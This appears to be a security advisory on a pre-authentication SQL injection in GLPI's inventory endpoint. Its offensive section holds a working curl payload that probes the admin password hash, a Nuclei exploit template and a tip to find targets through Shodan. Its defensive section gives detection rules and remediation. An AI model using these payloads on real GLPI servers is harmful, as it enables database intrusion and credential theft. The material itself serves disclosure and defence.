CVE-2025-24799

Executive Summary

CVE-2025-24799 is a critical pre-authentication SQL injection vulnerability in GLPI, a popular open-source IT asset management software. The flaw resides in the Inventory feature's handleAgent function, which fails to properly sanitize user-supplied input within XML requests. An unauthenticated attacker can exploit this by sending a crafted XML payload to the /index.php/ajax/ endpoint, leading to arbitrary SQL execution. This can result in the extraction of sensitive data, including user credentials, and potentially enable authentication bypass. The vulnerability affects all GLPI versions prior to 10.0.18. A public proof-of-concept (PoC) exists, and a Nuclei template is available, making active exploitation highly likely. The CVSS score is 7.5 (High), with a network attack vector and no privileges required.

Supply Chain & Package Security

GLPI is a PHP-based application distributed via GitHub and its official website. This vulnerability does not directly affect a package manager (NPM, PyPI, Go, Ruby), but it impacts the supply chain of organizations using GLPI for IT management. Compromise of a GLPI instance could lead to lateral movement within an organization's network, affecting the security of managed assets and sensitive inventory data.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
• Base Score: 7.5 (High)
• Attack Vector (AV): Network (N) - Exploitable remotely.
• Attack Complexity (AC): Low (L) - No special conditions required.
• Privileges Required (PR): None (N) - No authentication needed.
• User Interaction (UI): None (N) - No user action required.
• Scope (S): Unchanged (U) - Vulnerability cannot affect resources beyond its security scope.
• Confidentiality (C): High (H) - Complete information disclosure possible.
• Integrity (I): None (N) - No data modification.
• Availability (A): None (N) - No denial of service.

Threat Level: Critical. The combination of pre-authentication access, low complexity, and public exploit code makes this a high-priority threat for all GLPI users.

Deep Dive & Mechanics

The vulnerability is rooted in the handleAgent function within GLPI's Inventory feature. This function processes XML requests from agents (e.g., FusionInventory). The core issue is that the dbEscapeRecursive function, designed to sanitize input for SQL queries, fails to properly handle SimpleXMLElement objects. When an attacker sends a malicious XML payload, the deviceid field (or similar) can contain SQL injection syntax. Because the input is passed as a SimpleXMLElement, the sanitization function does not recursively escape the string content, allowing the injection to pass through.

The attack flow:

1. An attacker sends a POST request to /index.php/ajax/ with a Content-Type: application/xml.
2. The XML body contains a QUERY element set to get_params and a deviceid element with a SQL injection payload.
3. The handleAgent function processes the XML, and the deviceid value is used in a SQL query without proper sanitization.
4. The injected SQL is executed, allowing the attacker to extract data (e.g., using UNION SELECT or time-based blind techniques).

The provided Nuclei template demonstrates a time-based blind injection using sleep(7) to confirm vulnerability.

Vulnerable vs. Patched Code

Vulnerable Code (Pre-10.0.18): The dbEscapeRecursive function in GLPI's CommonDBTM class does not handle SimpleXMLElement objects. When an XML element is passed, it is treated as a string, but the recursive sanitization is bypassed.

// Simplified vulnerable logic
function dbEscapeRecursive($value) {
    if (is_array($value)) {
        return array_map([$this, 'dbEscapeRecursive'], $value);
    } elseif (is_object($value)) {
        // SimpleXMLElement objects are not handled, leading to bypass
        return $value;
    } else {
        return $this->dbEscapeString($value);
    }
}

Patched Code (10.0.18+): The fix ensures that SimpleXMLElement objects are converted to strings before sanitization.

// Patched logic
function dbEscapeRecursive($value) {
    if ($value instanceof SimpleXMLElement) {
        $value = (string) $value;
    }
    if (is_array($value)) {
        return array_map([$this, 'dbEscapeRecursive'], $value);
    } else {
        return $this->dbEscapeString($value);
    }
}

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• A vulnerable GLPI instance (version < 10.0.18).
• Network access to the /index.php/ajax/ endpoint.

Exploitation Steps:

1. Identify Target: Use Shodan or FOFA with the dork title:"GLPI" to find vulnerable instances.

2. Craft Payload: Use the provided Nuclei template or a custom SQL injection payload. The following example extracts the admin password hash using a time-based blind technique:

curl -X POST http://target.com/index.php/ajax/ \
  -H "Content-Type: application/xml" \
  -d '<?xml version="1.0" encoding="UTF-8"?>
      <xml>
        <QUERY>get_params</QUERY>
        <deviceid>'"'"', IF((SELECT 1 FROM glpi_users WHERE name='"'"'glpi'"'"' AND password LIKE '"'"'$2y$%'"'"'), sleep(5), 0), 0, 0, 0, 0, 0, 0);#</deviceid>
        <content>aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa</content>
      </xml>'

3. Automated Exploitation: Use the Nuclei template for rapid scanning and exploitation.

nuclei -t CVE-2025-24799.yaml -u http://target.com

Nuclei Template (Provided):

id: CVE-2025-24799

info:
  name: GLPI < 10.0.17 - Pre-Auth SQL Injection
  author: ritikchaddha
  severity: critical
  description: |
    A pre-authentication SQL injection vulnerability exists in the Inventory feature of GLPI. The vulnerability is caused by insufficient sanitization of user input in the handleAgent function when processing XML requests. The issue occurs because SimpleXMLElement objects can bypass the dbEscapeRecursive function, allowing an attacker to inject SQL queries. This can lead to unauthorized access to sensitive information in the database, including user credentials and potential authentication bypass.
  impact: |
    Unauthenticated attackers can execute arbitrary SQL queries through XML requests to the Inventory feature, potentially extracting user credentials, bypassing authentication, and accessing sensitive database information.
  remediation: |
    Upgrade to GLPI version 10.0.18 or later. If upgrading is not immediately possible, consider disabling the Inventory feature or restricting access to it.
  reference:
    - https://blog.lexfo.fr/glpi-sql-to-rce.html
    - https://github.com/glpi-project/glpi/security/advisories/GHSA-p626-hph9-p6fj
    - https://nvd.nist.gov/vuln/detail/CVE-2025-24799
  classification:
    epss-score: 0.28839
    epss-percentile: 0.96576
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2025-24799
    cwe-id: CWE-89
  metadata:
    verified: true
    product: GLPI
    max-request: 1
    shodan-query: title:"GLPI"
    fofa-query: title="GLPI"
  tags: cve,cve2025,glpi,sqli,vkev,vuln

http:
  - raw:
      - |
        POST /index.php/ajax/ HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/xml

        <?xml version="1.0" encoding="UTF-8"?>
            <xml>
            <QUERY>get_params</QUERY>
            <deviceid>', IF((1=1),(select sleep(7)),1), 0, 0, 0, 0, 0, 0);#</deviceid>
            <content>aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa</content>
        </xml>

    matchers:
      - type: dsl
        dsl:
          - 'duration>=7'
          - 'status_code ==200'
          - 'contains(header, "application/xml")'
          - 'contains_all(body, "<status>ok", "REPLY>")'
        condition: and
# digest: 4b0a0048304602210096a187fbb6612448692fb148c030230ce0159ca2e7fe1801b032132d48ecb9f2022100e25bc6b94555c96f2a3abf60d77281a0786252751076840f368fe1f42aedff99:922c64590222798bb761d5b6d8e72950

Blue Team (Defensive)

Detection:

• Monitor HTTP POST requests to /index.php/ajax/ with Content-Type: application/xml.
• Look for XML payloads containing SQL keywords (e.g., SELECT, UNION, SLEEP, IF) in the deviceid or other fields.
• Use the detection rules provided below.

Hunting:

• Search web server logs for requests to /index.php/ajax/ with unusual response times (indicating time-based injection).
• Check for XML bodies that contain non-standard characters or SQL syntax.

Containment:

• Immediately upgrade to GLPI 10.0.18 or later.
• If upgrade is not possible, disable the Inventory feature or restrict access to the /index.php/ajax/ endpoint via firewall or web application firewall (WAF) rules.
• Implement input validation for XML requests, ensuring all fields are properly sanitized.

Indicators of Compromise (IOCs)

• Network IOCs:

  • POST requests to /index.php/ajax/ with Content-Type: application/xml.
  • XML payloads containing SQL injection patterns (e.g., ' OR '1'='1, sleep(, UNION SELECT).
  • Unusually long response times (e.g., >5 seconds) for these requests.

• File IOCs:

  • Suspicious entries in GLPI's SQL database, such as unexpected user accounts or modified data.
  • Web server logs showing repeated requests to /index.php/ajax/ from the same IP.

• System IOCs:

  • Unauthorized access to the GLPI database.
  • Exfiltration of data (e.g., large outbound data transfers from the GLPI server).

Detection Engineering

YARA Rule

rule CVE_2025_24799_GLPI_SQLI {
    meta:
        description = "Detects SQL injection attempts targeting CVE-2025-24799 in GLPI"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2025-24799"
        severity = "critical"
    strings:
        $xml_start = "<?xml"
        $query_get_params = "<QUERY>get_params</QUERY>"
        $deviceid = "<deviceid>"
        $sql_keywords = /(SELECT|UNION|SLEEP|IF|BENCHMARK|LOAD_FILE|INTO OUTFILE)/i
        $sleep_func = /sleep\s*\(/i
    condition:
        $xml_start and $query_get_params and $deviceid and ($sql_keywords or $sleep_func)
}

Sigma Rule

title: GLPI CVE-2025-24799 SQL Injection Attempt
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects SQL injection attempts targeting the GLPI inventory endpoint
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-24799
    - https://github.com/glpi-project/glpi/security/advisories/GHSA-p626-hph9-p6fj
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/index.php/ajax/'
        sc-content-type: 'application/xml'
    keywords:
        - 'SELECT'
        - 'UNION'
        - 'SLEEP'
        - 'IF'
        - 'BENCHMARK'
    condition: selection and keywords
falsepositives:
    - Legitimate XML requests with similar keywords (rare)
level: high

Suricata Rule

alert http $EXTERNAL_NET any -> $HOME_NET any (
    msg:"CVE-2025-24799 GLPI Pre-Auth SQL Injection Attempt";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/index.php/ajax/"; http_uri;
    content:"application/xml"; http_content_type;
    content:"<deviceid>";
    pcre:"/(SELECT|UNION|SLEEP|IF|BENCHMARK)/i";
    sid:10000001;
    rev:1;
    reference:cve,2025-24799;
    reference:url,https://nvd.nist.gov/vuln/detail/CVE-2025-24799;
    classtype:attempted-admin;
    priority:1;
)

Remediation & Mitigation

Immediate Actions:

1. Upgrade: Update GLPI to version 10.0.18 or later immediately. This is the only complete fix.
2. Disable Inventory Feature: If upgrade is not possible, disable the Inventory feature by removing or renaming the front/inventory.php file or blocking access to /index.php/ajax/ via web server configuration.
3. WAF Rules: Deploy web application firewall rules to block XML requests containing SQL injection patterns to the /index.php/ajax/ endpoint.

Long-Term Measures:

• Implement a vulnerability management program to ensure timely patching of all software.
• Conduct regular security audits and penetration testing of web applications.
• Use input validation libraries that properly handle all data types, including XML objects.
• Monitor for similar vulnerabilities in other PHP applications using SimpleXMLElement.

Valters IT Signature

This report was generated by Valters IT, an elite DevSecOps and Cyber Threat Intelligence team. For further assistance, contact us at valters@example.com.

{/* [Security Hash: D822060B112A19F5D9B703E3] */}